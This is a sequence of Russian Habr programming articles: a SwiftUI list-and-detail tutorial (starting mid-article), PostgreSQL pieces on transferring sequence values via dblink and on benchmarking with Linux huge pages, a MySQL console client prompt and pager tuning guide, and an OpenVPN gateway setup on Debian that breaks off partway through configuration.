Данные, которые нам необходимы, это список участников команды и их биография вместе с папкой со всеми их изображениями. Вы можете скачать необходимые файлы [здесь](https://github.com/appcoda/SwiftUIDemo/raw/master/Resources.zip). Вы должны найти 2 файла с именами *Tutor.swif*t и *Tutor.xcasset*s. После загрузки импортируйте файл с расширением Swift и папку ресурсов в проект Xcode. Чтобы их импортировать, просто перетащите их в навигатор проекта. В файле *Tutor.swif*t объявляем структура Tutor и приводим ее в соответствие с протоколом Identifiable. Вы поймете, почему это важно позже. Также определяем переменные id, name, headline, bio и imageName. Наконец, добавим некоторые тестовые данные, которые будут использоваться в нашем приложении. В Tutor.xcassets имеются изображения всех участников команды. Вернитесь к *ContentView.swift* и измените код следующим образом: ``` struct ContentView: View { //1 var tutors: [Tutor] = [] var body: some View { List(0..<5) { item in Image(systemName: "photo") VStack(alignment: .leading) { Text("Simon Ng") Text("Founder of AppCoda") .font(.subheadline) .color(.gray) } } } } #if DEBUG struct ContentView_Previews : PreviewProvider { static var previews: some View { //2 ContentView(tutors: testData) } } #endif ``` Все довольно просто: 1. Определим новую переменную с именем tutors, которая является пустым массивом структур Tutor. 2. Поскольку мы определяем новую переменную для структуры ContentView, следовательно необходимо также изменить ContentView\_Previews, чтобы отобразить это изменение. Установим в testData параметр tutors. В предварительном просмотре не будет никаких изменений, потому что мы еще не используем тестовые данные. Чтобы отобразить тестовые данные, измените код следующим образом: ``` struct ContentView: View { var tutors: [Tutor] = [] var body: some View { List(tutors) { tutor in Image(tutor.imageName) VStack(alignment: .leading) { Text(tutor.name) Text(tutor.headline) .font(.subheadline) .color(.gray) } } } } ``` Убедимся, что ContentView использует tutors для отображения данных на экране. Вот так! Посмотрите, как изменилось представление. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/945/550/cdc/945550cdc8eea3f61ba7fc94ddf6ee32.png) Изображения отображаются в виде квадрата. Хотелось бы, чтобы они выглядели более округлыми. Давайте посмотрим, как мы можем сделать изображение с закругленными углами. В правом верхнем углу нажмите кнопку + и перейдите на вторую вкладку. Так будет отображен список модификаторов макета, которые вы можете добавлять к изображениям. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/f57/b88/4ed/f57b884edd2e207c5e928297d46262da.png) Ищите «Corner Radius/Угловой радиус», перетащите его из окна предварительного просмотра и поместите его на изображение. Вы должны увидеть измененный код, и изображения предварительного просмотра будет изменено на следующее. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/871/477/f60/871477f60fd68a8c6a231b17eadeb2ac.png) Тем не менее, радиус закругления в 3 слишком мал. Итак, измените его на 40. Таким образом, получаем красивые скругленные картинки. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/e77/502/350/e77502350c66310b06cfb411aed66a5d.png) Ячейка и список готовы! Далее необходимо отображать детальную информацию, когда пользователь нажимает на ячейку. Давайте начнем работу с создания навигаций. ### Создание навигации Навигационное представление оборачивает уже имеющееся представление в панель навигации и контроллер навигации. Предположительно, вы уже знакомы с Storyboard, и знаете, что довольно просто встроить представление в интерфейс навигации. Все, что необходимо сделать, это всего лишь несколько кликов. В SwiftUI обернуть List вью в NavigationView также очень просто. Все, что вам нужно сделать, это изменить код следующим образом: ``` ... var body : some View { NavigationView { List(tutors) { tutor in ... } } } ... ``` Необходимо выполнить оборачивание кода List в NavigationView. По умолчанию панель навигации не имеет заголовка. Предварительный просмотр должен переместить список вниз, оставляя очень большой разрыв в середине. Это потому, что мы не установили заголовок для панели навигации. Чтобы исправить это, необходимо установить заголовок, добавив следующую строку кода (т.е. .navigationBarTitle ): ``` ... var body : some View { NavigationView { List(tutors) { tutor in ... } .navigationBarTitle(Text("Tutors")) } } ... ``` Теперь экран должен выглядеть примерно так: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/986/d1a/63c/986d1a63c31b96b94458d60de6257f22.png) Далее установим кнопку навигации. NavigationButton ведет на новый экран, который находится в стеке навигации. Подобно тому, как мы обернули List в NavigationView, необходимо обернуть содержимое List с помощью NavigationButton, как показано ниже: ``` ... var body : some View { NavigationView { List(tutors) { tutor in NavigationButton(destination: Text(tutor.name)) { Image(tutor.imageName) VStack(alignment: .leading) { Text(tutor.name) Text(tutor.headline) .font(.subheadline) .color(.gray) } } } .navigationBarTitle(Text("Tutors")) } } ... ``` Теперь имя участника команды отображено в подробном представлении. Сейчас самое время проверить это. В текущем режиме предварительного просмотра вы не можете взаимодействовать с представлением. Обычно, когда вы нажимаете на предварительный просмотр, происходит простое выделение кода. Чтобы выполнить тест и проверить взаимодействие с пользовательским интерфейсом, необходимо нажать кнопку воспроизведения в правом нижнем углу. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/24a/252/f40/24a252f40d7883514157f57fd49454df.png) Вью станет темным, и возможно, придется подождать пару секунд, пока загрузится весь симулятор, прежде чем появится возможность реально взаимодействовать с представлениями. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/814/920/865/81492086545f430d36c5493aff6486de.png) Когда загрузка закончится, вы сможете нажать на ячейку, и она перейдет к новому представлению в стеке, в котором будет отображаться имя выбранной ячейки. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/dcf/1ce/4f7/dcf1ce4f79f83b518f6e7a981b89cccf.png) Прежде чем перейти к реализации детализированного представления, позвольте мне показать вам хитрый прием, который поможет сделать ваш код более разборчивым. ⌘+Click NavigationButton и выберите «Extract Subview». Бум! Вы можете видеть, что весь код в NavigationButton был создан в совершенно новой структуре, которая делает его очень разборчивым. Переименуйте ExtractedView в TutorCell. Теперь можно получить ошибку в TutorCell. Это потому, что у нас нет параметра tutor для передачи в эту структуру. Исправить ошибку очень просто. Добавьте новую константу в структуру TutorCell следующим образом: ``` struct TutorCell: View { let tutor: Tutor var body: some View { ... } } ``` А, в ContentView, добавьте отсутствующий параметр изменив строку на: ``` ... List(tutors) { tutor in TutorCell(tutor: tutor) }.navigationBarTitle(Text("Tutors")) ... ``` Вот и все! Имеется список и ячейки, все они хорошо продуманные и разложены в требуемом порядке! Далее мы собираемся создать детальный вид, который будет показывать всю информацию о преподавателе. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/e52/dee/b4b/e52deeb4bd5d5c080e11c8e7856f3097.png) ### Создание представления для отображения детальной информаций. Давайте создадим новый файл, перейдя в File > New > File. Под iOS выберите SwiftUI View и назовите этот файл **TutorDetail**. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/9f8/25b/25e/9f825b25efe0c2960def5fff95ed9ebc.png) В предварительном просмотре уже создался главный базовый вид. Давайте с ним поработаем. Сначала нажмите на кнопку « +» и поместите изображение над уже встроенным представлением Text. Установите имя изображения «Simon Ng». Должно появится изображение Саймона. Теперь измените код так, как показано ниже: ``` struct TutorDetail: View { var body: some View { //1 VStack { //2 Image("Simon Ng") .clipShape(Circle()) .overlay( Circle().stroke(Color.orange, lineWidth: 4) ) .shadow(radius: 10) //3 Text("Simon Ng") .font(.title) } } } ``` В целом этот код достаточно понятен, но в случае если у Вам нужны разъяснения, не волнуйтесь. Вот, что происходит: 1. Сначала мы упаковываем все наши представления в вертикальный стек. Это имеет решающее значение для макета дизайна, который мы будем принимать. 2. Затем берем изображение Саймона и оживляем его. Сначала установим клипы изображения в форме круга. Вместо того, чтобы установить cornerRadius, это намного эффективнее, поскольку круг можно приспособить к различным размерам изображения. Мы добавляем наложение круга с белой рамкой, которая обеспечивает красивую оранжевую рамку. Наконец, мы добавим легкую тень, чтобы обеспечить некоторую глубину изображения. 3. Наша последняя строка кода устанавливает шрифт имени преподавателя на шрифт заголовка. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/759/4d5/cbc/7594d5cbc244cfc740086bce4fad2157.png) Также необходимо добавить еще два текстовых вью: headline и bio. Перетащите два текстовых вью ниже текстового вью с именем преподавателя, и отредактируйте их: ``` struct TutorDetail: View { var body: some View { VStack { Image("Simon Ng") .clipShape(Circle()) .overlay( Circle().stroke(Color.orange, lineWidth: 4) ) .shadow(radius: 10) Text("Simon Ng") .font(.title) Text("Founder of AppCoda") Text("Founder of AppCoda. Author of multiple iOS programming books including Beginning iOS 12 Programming with Swift and Intermediate iOS 12 Programming with Swift. iOS Developer and Blogger.") } } } ``` ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/41e/35a/736/41e35a736ee24e67d61102f06ad1f299.png) Хорошей новостью является то, что у нас есть текстовые вью. Плохая новость в том, что они плохо выглядят и не показывают разницу между заголовком и детальным описанием. Кроме того, текстовое вью биографии не отображает весь текст. Давайте исправим это. Обновите код следующим образом: ``` struct TutorDetail: View { var body: some View { VStack { Image("Simon Ng") .clipShape(Circle()) .overlay( Circle().stroke(Color.orange, lineWidth: 4) ) .shadow(radius: 10) Text("Simon Ng") .font(.title) //1 Text("Founder of AppCoda") .font(.subheadline) //2 Text("Founder of AppCoda. Author of multiple iOS programming books including Beginning iOS 12 Programming with Swift and Intermediate iOS 12 Programming with Swift. iOS Developer and Blogger.") .font(.headline) .multilineTextAlignment(.center) } } } ``` 1. Сначала мы устанавливаем “Founder of AppCoda” со шрифтом subheadline. 2. Точно так же мы устанавливаем текстовое представление биографии используя шрифт headline. Мы также выровняем текст с линией *.multilineTextAlignment(.center)* ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/70c/8fd/afb/70c8fdafb54984f56f68127cee8dd390.png) Давайте исправим следующую ошибку. Нам необходимо отобразить весь текст текстового представления биографии. Это можно легко сделать, добавив новую строку кода: ``` ... Text("Founder of AppCoda. Author of multiple iOS programming books including Beginning iOS 12 Programming with Swift and Intermediate iOS 12 Programming with Swift. iOS Developer and Blogger.") .font(.headline) .multilineTextAlignment(.center) .lineLimit(50) ... ``` ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/420/64a/269/42064a26933b2ab69e06268fa191f2d0.png) Все выглядит хорошо. Есть одно последнее изменение дизайна, которое я хочу сделать. Заголовок и текстовые представления биографии находятся слишком близко друг к другу. Я хотел бы иметь некоторое пространство между этими двумя представлениями. Кроме того, я хотел бы добавить некоторые отступы ко всем вью, чтобы они не касались краев устройства. Убедитесь, что вы изменили код следующим образом: ``` struct TutorDetail: View { var body: some View { VStack { Image("Simon Ng") .clipShape(Circle()) .overlay( Circle().stroke(Color.orange, lineWidth: 4) ) .shadow(radius: 10) Text("Simon Ng") .font(.title) Text("Founder of AppCoda") .font(.subheadline) //1 Divider() Text("Founder of AppCoda. Author of multiple iOS programming books including Beginning iOS 12 Programming with Swift and Intermediate iOS 12 Programming with Swift. iOS Developer and Blogger.") .font(.headline) .multilineTextAlignment(.center) .lineLimit(50) //2 }.padding() } } ``` Здесь выполним несколько изменений: 1. Добавить разделитель так же просто, как и вызвать *Divider()* 2. Чтобы добавить отступы ко всему вертикальному стеку, необходимо вызвать *.padding()* в конце объявления VStack. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/788/623/821/788623821be30fc662953c2c47355317.png) Это все! Поздравляю! Экран детального просмотра готов. Осталось только соединить наш список преподавателей и их детальное описание. Это довольно просто. ### Передача данных Для передачи данных необходимо объявить некоторые параметры в структуре **TutorDetail**. Перед объявлением переменной body добавьте следующие переменные: ``` var name: String var headline: String var bio: String var body: some View { ... } ``` Это параметры, которые мы передадим из ContentView. Проведите следующие изменения: ``` ... var body: some View { VStack { // 1 Image(name) .clipShape(Circle()) .overlay( Circle().stroke(Color.orange, lineWidth: 4) ) .shadow(radius: 10) //2 Text(name) .font(.title) //3 Text(headline) .font(.subheadline) Divider() //4 Text(bio) .font(.headline) .multilineTextAlignment(.center) .lineLimit(50) //5 }.padding().navigationBarTitle(Text(name), displayMode: .inline) } ... ``` 1. Заменим имя преподавателя для image на переменную name 2. Заменим текст заголовка на переменную headline 3. Наконец, заменим длинный абзац текста на переменную bio 4. Также была добавлена строка кода, которая установит заголовок панели навигации на имя преподавателя. И последнее, но не менее важное: нам необходимо добавить отсутствующие параметры в структуру TutorDetail\_Previews. ``` #if DEBUG struct TutorDetail_Previews : PreviewProvider { static var previews: some View { TutorDetail(name: "Simon Ng", headline: "Founder of AppCoda", bio: "Founder of AppCoda. Author of multiple iOS programming books including Beginning iOS 12 Programming with Swift and Intermediate iOS 12 Programming with Swift. iOS Developer and Blogger.") } } #endif ``` В приведенном выше коде мы добавляем отсутствующие параметры и заполняем информацию той, что имели ранее. Вы можете быть удивлены, что случилось с инструкциями *#if DEBUG/#endif*. Это означает, что любой код, заключенный в эти команды, будет выполнен только при предварительном просмотре для целей отладки. В вашем последнем приложении этого не будет. Ничто не должно измениться, так как информация также неизменна. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/66b/b2a/fd9/66bb2afd9911d44eb0f4900f015299dc.png) И так, последний шаг — связать это представление со списком. Переключитесь на файл ContentView.swift. Все, что необходимо сделать, это изменить одну строку кода в структуре TutorCell. Измените код NavigationButton на ниже приведенный: ``` ... var body: some View { return NavigationButton(destination: TutorDetail(name: tutor.name, headline: tutor.headline, bio: tutor.bio)) { ... } } ... ``` Вместо того, чтобы отобразить представление с именем преподавателя, необходимо изменить место назначения на TutorDetail при заполнении соответствующих данных. Данный код должен выглядеть следующим образом: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/f64/344/e36/f64344e36a74cc9c1c2a1e89780e6685.png) Нажмите кнопку воспроизведения и выполняйте взаимодействие с представлением. Если все работает хорошо, приложение будет также хорошо работать. Просто выберите одну из записей участника: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/27d/14a/73b/27d14a73b1882f14a74d728cb0294744.png) И тогда будут отображены детали участника на детальном экране. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/c21/dec/1e8/c21dec1e850bde4e7b94a90c35b597ad.png) ### Заключение В этой статье представлены основы SwiftUI. Теперь будет удобно создавать простые приложения, такие как планировщик задач и т.д. Я предлагаю взглянуть на некоторые из приведенных ниже ресурсов, таких как документация от компании Apple и сессии WWDC 2019, посвященные данному фреймворку. [SwiftUI Documentation](https://developer.apple.com/documentation/swiftui/) [SwiftUI Tutorials](https://developer.apple.com/tutorials/swiftui) [Introducing SwiftUI: Building Your First App](https://developer.apple.com/wwdc19/204) [SwiftUI Essentials](https://developer.apple.com/wwdc19/216) Этот фреймворк — это будущее развития Apple, поэтому очень здорово, если вы начнете именно с него. Помните, что если вы не уверены в коде, попробуйте поработать с автоматическим предварительным просмотром и посмотрите, сможете ли вы внести изменения в пользовательский интерфейс напрямую, чтобы увидеть, как создается код. Если у вас есть какие-либо вопросы, не стесняйтесь, задавайте их в комментариях ниже. Для справки вы можете скачать готовый проект [здесь](https://github.com/appcoda/SwiftUIDemo).
https://habr.com/ru/post/461645/
null
ru
null
# DBA: перенос значений SEQUENCE между базами PostgreSQL Как можно перенести в другую PostgreSQL-базу **последнее назначавшееся значение** «автоинкремент»-поля типа serial, если в таблице могли быть какие-то удаления, и «просто подставить max(pk)» уже не подходит? Мало кто знает, что хоть PG и не предоставляет до версии 10 [функций, чтобы узнать последнее значение последовательности](https://postgrespro.ru/docs/postgrespro/12/functions-sequence) для такого поля **из другого сеанса**, это все-таки можно сделать. ![](https://habrastorage.org/r/w1560/webt/2w/b4/1a/2wb41aanxsejoysm3kvpyxdjfjk.png) PostgreSQL поддерживает «автоинкремент»-поля, определяемые [псевдотипом serial](https://postgrespro.ru/docs/postgresql/12/datatype-numeric#DATATYPE-SERIAL): > Типы данных smallserial, serial и bigserial не являются настоящими типами, а представляют собой просто удобное средство для создания столбцов с уникальными идентификаторами (подобное свойству AUTO\_INCREMENT в некоторых СУБД). Технически, это всего лишь автоматическая увязка DEFAULT-определения для поля и генерируемых объектом [SEQUENCE](https://postgrespro.ru/docs/postgresql/12/sql-createsequence) значений. И иногда в эти значения хочется заглянуть — например, для переноса в аналогичную по структуре базу. Но сделать это непросто: > **currval** > > Возвращает значение, выданное при последнем вызове nextval для этой последовательности ***в текущем сеансе. (Если в данном сеансе nextval ни разу не вызывалась для данной последовательности, возвращается ошибка.)*** Так как это значение ограничено рамками сеанса, эта функция выдаёт предсказуемый результат вне зависимости от того, вызвалась ли впоследствии nextval в других сеансах или нет. **Системное представление pg\_sequences**Начиная с PostgreSQL 10 появилось системное [представление pg\_sequences](https://postgrespro.ru/docs/postgresql/10/view-pg-sequences), в котором эта информация уже видна без особых усилий. Давайте попробуем эту информацию все-таки вытащить: ``` CREATE TABLE tst( id serial -- исследуемое поле , val integer ); INSERT INTO tst(val) VALUES(1),(2),(4),(8); ``` ``` TABLE tst; ``` ``` id | val -------- 1 | 1 2 | 2 3 | 4 4 | 8 ``` Вот это значение `id = 4` мы и хотим получить. Но кто-то удалил часть записей, и в таблице его больше нет: ``` DELETE FROM tst WHERE id > 2; ``` ``` id | val -------- 1 | 1 2 | 2 ``` Сначала узнаем, как называется последовательность, соответствующая нашему полю: ``` SELECT pg_get_serial_sequence('tst', 'id'); ``` ``` pg_get_serial_sequence ---------------------- public.tst_id_seq ``` Теперь используем полученное **имя последовательности в качестве таблицы** в запросе: ``` SELECT * FROM public.tst_id_seq; ``` ``` last_value | log_cnt | is_called -------------------------------- 4 | 29 | t ``` Собственно, поле **last\_value** и хранит то самое «последнее» значение, которое успела сгенерировать последовательность на момент нашего вызова. Теперь соберем простой скрипт для переноса значений последовательностей из одной базы в другую с помощью [модуля dblink](https://postgrespro.ru/docs/postgresql/12/dblink): ``` -- потабличная синхронизация сиквенсов, запускать на источнике SELECT ( SELECT nlv FROM dblink( 'host=... port=5432 dbname=... user=... password=...' , $q$ SELECT setval(pg_get_serial_sequence('$q$ || quote_ident(sequence_schema) || $q$.$q$ || quote_ident(sequence_table) || $q$', '$q$ || sequence_column || $q$'), $q$ || lv || $q$) $q$ ) T(nlv bigint) -- восстанавливаем значение ) nlv , * FROM ( SELECT ( SELECT relname FROM pg_class WHERE oid = (dp).refobjid ) sequence_table , ( SELECT attname FROM pg_attribute WHERE (attrelid, attnum) = ((dp).refobjid, (dp).refobjsubid) ) sequence_column , * FROM ( SELECT -- получаем значение на базе-источнике ( SELECT lv FROM dblink( 'dbname=' || current_database() , $q$ SELECT last_value FROM $q$ || quote_ident(sequence_schema) || $q$.$q$ || quote_ident(sequence_name) || $q$ $q$ ) T(lv bigint) -- извлекаем последнее значение, подставляя имя "таблицы"-последовательности ) lv , ( SELECT dp FROM pg_depend dp WHERE (classid, objid, refclassid, deptype) = ('pg_class'::regclass, (quote_ident(sequence_schema) || '.' || quote_ident(sequence_name))::regclass, 'pg_class'::regclass, 'a') LIMIT 1 ) dp -- ассоциированное с последовательностью поле таблицы , * FROM information_schema.sequences WHERE sequence_schema IN ('public') -- перечень обрабатываемых схем ) T ) T WHERE sequence_table !~ '^_'; -- исключаемые из синхронизации последовательностей таблицы ``` Но помните, что при наличии какой-то активности на базе-источнике результат будет неопределен!
https://habr.com/ru/post/483424/
null
ru
null
# Сравнительное тестирование работы PostgreSQL с большими страницами Linux ![](https://habrastorage.org/r/w780q1/webt/u0/hs/uc/u0hsucgpyp_pgw1mwtyzdtkvd1o.jpeg) Ядро Linux предоставляет широкий спектр параметров конфигурации, которые могут повлиять на производительность. Это все о получении правильной конфигурации для вашего приложения и рабочей нагрузки. Как и любая другая база данных, PostgreSQL использует ядро ​​Linux для оптимальной конфигурации. Плохо настроенные параметры могут привести к снижению производительности. Поэтому важно, чтобы вы измеряли производительность базы данных после каждого сеанса настройки, чтобы избежать снижения производительности. В одной из моих предыдущих публикаций, «Настройка параметров ядра Linux для оптимизации PostgreSQL», я описал некоторые наиболее полезные параметры ядра Linux и то, как они могут помочь вам повысить производительность базы данных. Теперь я собираюсь поделиться своими результатами тестов после настройки больших страниц Linux с другой рабочей нагрузкой PostgreSQL. Я выполнил исчерпывающий набор тестов для разных размеров загрузки PostgreSQL и одновременного количества клиентов. Машина для тестирования ----------------------- * Supermicro server: + Intel® Xeon® CPU E5-2683 v3 @ 2.00GHz + 2 sockets / 28 cores / 56 threads + Memory: 256GB of RAM + Storage: SAMSUNG SM863 1.9TB Enterprise SSD + Filesystem: ext4/xfs * OS: Ubuntu 16.04.4, kernel 4.13.0-36-generic * PostgreSQL: version 11 Настройки ядра Linux -------------------- Я использовал настройки ядра по умолчанию без какой-либо оптимизации/настройки, кроме отключения прозрачных больших страниц (Transparent HugePages). Прозрачные большие страницы по умолчанию включены и выделяют размер страницы, который может быть не рекомендован для использования базой данных. Как правило, для баз данных требуются большие страницы фиксированного размера, которые не предусматриваются прозрачными большими страницами. Следовательно, всегда рекомендуется отключать эту функцию и использовать по умолчанию классические большие страницы. Настройки PostgreSQL -------------------- Я использовал единые настройки PostgreSQL для всех тестов, чтобы записывать разные рабочие нагрузки PostgreSQL с разными настройками больших страниц Linux. Вот настройка PostgreSQL, используемая для всех тестов: postgresql.conf ``` shared_buffers = '64GB' work_mem = '1GB' random_page_cost = '1' maintenance_work_mem = '2GB' synchronous_commit = 'on' seq_page_cost = '1' max_wal_size = '100GB' checkpoint_timeout = '10min' synchronous_commit = 'on' checkpoint_completion_target = '0.9' autovacuum_vacuum_scale_factor = '0.4' effective_cache_size = '200GB' min_wal_size = '1GB' wal_compression = 'ON' ``` Схема тестирования ------------------ В тестировании схема тестировании играет важную роль. Все тесты выполняются три раза по 30 минут для каждого запуска. Я взял среднее значение из этих трех показателей. Тесты проводились с использованием инструмента тестирования производительности PostgreSQL [pgbench](https://www.postgresql.org/docs/current/pgbench.html). pgbench работает с масштабным коэффициентом, при этом один масштабный коэффициент составляет приблизительно 16 МБ рабочей нагрузки. Большие страницы (HugePages) ---------------------------- Linux по умолчанию использует страницы памяти 4 КБ вместе с большими страницами. У BSD есть Super Pages, тогда как у Windows есть Large Pages. PostgreSQL поддерживает только большие страницы (Linux). В случаях большого использования памяти маленькие страницы снижают производительность. Установив большие страницы, вы увеличиваете выделенную память для приложения и, следовательно, уменьшаете операционные издержки, которые возникают во время выделения/подкачки; то есть вы повышаете производительность, используя большие страницы. Вот настройка больших страниц при использовании размера большой страницы 1 ГБ. Вы всегда можете получить эту информацию из /proc. $ cat /proc/meminfo | grep -i huge ``` AnonHugePages: 0 kB ShmemHugePages: 0 kB HugePages_Total: 100 HugePages_Free: 97 HugePages_Rsvd: 63 HugePages_Surp: 0 Hugepagesize: 1048576 kB ``` Для более подробной информации о больших страницах, пожалуйста, прочитайте мой предыдущий пост в блоге. <https://www.percona.com/blog/2018/08/29/tune-linux-kernel-parameters-for-postgresql-optimization/> Обычно размеры больших страницы составляют 2 МБ и 1 ГБ, поэтому имеет смысл использовать размер 1 ГБ вместо гораздо меньшего размера 2 МБ. <https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/performance_tuning_guide/s-memory-transhuge> <https://kerneltalks.com/services/what-is-huge-pages-in-linux/> Результаты тестов ----------------- Этот тест показывает общее влияние различных размеров больших страниц. Первый набор тестов был создан с размером страницы по умолчанию в Linux 4 КБ без включения больших страниц. Обратите внимание, что прозрачные огромные страницы также были отключены и оставались отключенными на протяжении всех этих тестов. Затем второй набор тестов был выполнен размером больших страниц в 2 MБ. Наконец, третий набор тестов выполняется с размером больших страниц 1 ГБ. Все эти тесты были выполнены в PostgreSQL версии 11. Наборы включают в себя комбинацию разных размеров базы данных и клиентов. На приведенном ниже графике показаны сравнительные результаты производительности для этих тестов с TPS (транзакций в секунду) по оси Y, размером базы данных и количеством клиентов на размер базы данных по оси X. ![](https://habrastorage.org/r/w1560/webt/1k/pu/1r/1kpu1rufj-fpl3iszxtzvnjxfgg.png) Из приведенного выше графика видно, что прирост производительности с большими страницами увеличивается с увеличением количества клиентов и размера базы данных, если размер остается в предварительно выделенном буфере в разделяемой памяти (shared buffer). Этот тест показывает TPS в сравнении с количеством клиентов. В этом случае размер базы данных составляет 48 ГБ. На оси Y у нас есть TPS, а на оси X у нас есть количество подключенных клиентов. Размер базы данных достаточно мал, чтобы поместиться в shared buffer, который установлен на 64 ГБ. ![](https://habrastorage.org/r/w1560/webt/fc/j_/kn/fcj_knw5ujqg-vvyzcxnl2wkclu.png) Если для больших страниц установлено значение 1 ГБ, то чем больше клиентов, тем выше сравнительный прирост производительности. Следующий график такой же, как приведенный выше, за исключением размера базы данных 96 ГБ. Это превышает размер shared buffer, который установлен на 64 ГБ. ![](https://habrastorage.org/r/w1560/webt/z8/6r/je/z86rjeljjqfr_nyaylzzpv7xf9q.png) Ключевое наблюдение здесь заключается в том, что производительность с большими страницами, равными 1 ГБ, увеличивается по мере увеличения числа клиентов, и в конечном итоге она дает большую производительность, чем большие страницы в 2 МБ или стандартный размер страницы в 4 КБ. Этот тест показывает TPS в зависимости от размера базы данных. В этом случае количество подключенных клиентов составляет 32. На оси Y у нас TPS, а на оси X — размеры базы данных. ![](https://habrastorage.org/r/w1560/webt/cg/90/oi/cg90oidu2mlqyp40deo9fzcmlki.png) Как и ожидалось, когда база данных выходит за пределы предварительно выделенных больших страниц, производительность значительно снижается. Резюме ------ Одна из моих ключевых рекомендаций заключается в том, что мы должны отключить прозрачные большие страницы (Transparent HugePages). Вы увидите наибольший прирост производительности, когда база данных помещается в общий буфер с включенным большими страницами. Выбор размера больших страниц требует небольшого количества проб и ошибок, но это может потенциально привести к значительному увеличению TPS, когда размер базы данных велик, но остается достаточно маленьким, чтобы поместиться в shared buffer.
https://habr.com/ru/post/458910/
null
ru
null
# Тюнинг консольного клиента MySQL Мне довольно часто, даже постоянно приходится обращаться к разным базам данных MySQL. Испробовав немало разных GUI клиентов я понял, что они все меня не удовлетворяют. То проблемы с кодировкой, то отсутствует автодополнение кода, то не работает история запросов. В общем пришел я к использованию консольного клиента mysql. И вроде все хорошо, но была пара проблем. Во-первых заходя в очередную закладку с открытым соединением mysql я тупо смотрел в строку приглашения и старался понять на каком я сервере нахожусь и к какой базе данных подключен. Во-вторых при выводе большого количества полей или при выводе поля с длиной превышающей ширину терминала получалась каша из черточек, букв и палочек :). На днях я покопался в документации и с кое-чем разобрался. Итак приглашение. Можно интерактивно переключить с помощью команды prompt. Например так: `mysql> mysql> prompt (\u@\h) [\d]> PROMPT set to '(\u@\h) [\d]>' (www@192.168.1.33) [poll]>` где \u — пользователь, \h — хост и \d — база данных Теперь насчет вывода. Переменная pager определяет через какую программу будет представлен вывод результатов запросов. После некоторых экспериментов с more и less, я пришел к следующему варианту: `(www@192.168.1.33) [poll]>pager less -n -i -S PAGER set to 'less -n -i -S'` В результате запрос увидим в привычном интерфейсе less со всеми вкусностями типа поиска и т.д.: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/852/b98/eda/852b98eda16f623822eb5f408b8f6d14.png) Конечно можно эти команды вводить в интерактивном режиме, можно их прописать как системные переменные, но все же удобнее один раз прописать их в файл ~/.my.cnf например так: `[client] default-character-set= utf8 pager = less -n -i -S prompt =(\u@\h) [\d]>` Надеюсь вам понравится подобный тюнинг и вы возьмете на вооружение мои советы. **UPD.** Поскольку статья писалась для использования в linux системах, а вопросы затронутые в ней интересуют и пользователей Windows, считаю необходимым добавить что: 1. В Windows считывание принятых по умолчанию параметров MySQL производится из следующего файла: C:\my.cnf 2. [less для Windows](http://www.greenwoodsoftware.com/less/) можно установить отдельно. Ссылка — <http://gnuwin32.sourceforge.net/packages/less.htm>
https://habr.com/ru/post/82402/
null
ru
null
# Настройка OpenVPN шлюза в интернет на Debian, который на OpenVZ Итак господа, приближается первое августа, поэтому задумался я над тем чтобы заиметь себе ip страны, в которой попроще с законодательством в сфере p2p, а именно Нидерландов. После достаточно долгих поисков нашел провайдера, который обещал два ядра от E3-1230, пару гигов памяти, 460 гигов винта и прекрасный нелимитированный(специально связывался с саппортом по этому вопросу — уверяют что канал не режут и после сотни терабайт) гигабитный канал за какихто 40 с копейками баксов. Единственное но — виртуализация OpenVZ — обычно я настраивал OpenVPN на XEN или KVM, поэтому все прошло не так гладко как обычно и поэтому я решил поделиться полученными знаниями. Дистрибутив ОС — Debian 6 Итак начнем: Устанавливаем OpenVPN и dnsmasq ``` aptitude install openvpn udev dnsmasq ``` Далее копируем скрипты генерации ключей ``` cp -R /usr/share/doc/openvpn/examples/easy-rsa/ /etc/openvpn ``` Потом нам обычно предлагают поправить файл **/etc/openvpn/easy-rsa/2.0/vars**, но если шлюз делается «для себя», то этот пункт совершенно необязателен. Если же хочется красоты то в конце вышеуказанного файла правим следующее: ``` export KEY_COUNTRY="XX" export KEY_PROVINCE="XX" export KEY_CITY="City" export KEY_ORG="MyCompany" export KEY_EMAIL="habr@habr.ru" ``` После правки **vars** генерируем корневой сертификат ``` cd /etc/openvpn/easy-rsa/2.0/ . /etc/openvpn/easy-rsa/2.0/vars . /etc/openvpn/easy-rsa/2.0/clean-all . /etc/openvpn/easy-rsa/2.0/build-ca ``` Далее генерируем сертификаты сервера и клиента\клиентов(вместо cli1,cli2 можно придумывать удобные для себя названия) ``` . /etc/openvpn/easy-rsa/2.0/build-key-server server . /etc/openvpn/easy-rsa/2.0/build-key cli1 . /etc/openvpn/easy-rsa/2.0/build-key cli2 ``` Потом генерируем параметры Диффи-Хеллмана ``` . /etc/openvpn/easy-rsa/2.0/build-dh ``` Раскладываем ключи, на клиентскую сторону нужно отдать файлы **ca.crt cli1.crt cli1.key**, а в директорию **/etc/openvpn** положить файлы **ca.crt ca.key dh1024.pem server.crt server.key** ``` cd /etc/openvpn/easy-rsa/2.0/keys cp ca.crt ca.key dh1024.pem server.crt server.key /etc/openvpn ``` Теперь скопируем в директорию **/etc/openvpn** пример конфига, который поставляется вместе с ПО. ``` cd /usr/share/doc/openvpn/examples/sample-config-files gunzip -d server.conf.gz cp server.conf /etc/openvpn/ ``` Чтобы наш впн сервер раздавал интернет своим клиентам в **/etc/openvpn/server.conf** допишем ``` push "redirect-gateway def1" push "dhcp-option DNS 10.8.0.1" ``` Далее включаем ip-forwarding в файле **/etc/sysctl.conf** раскомментируем строку ``` 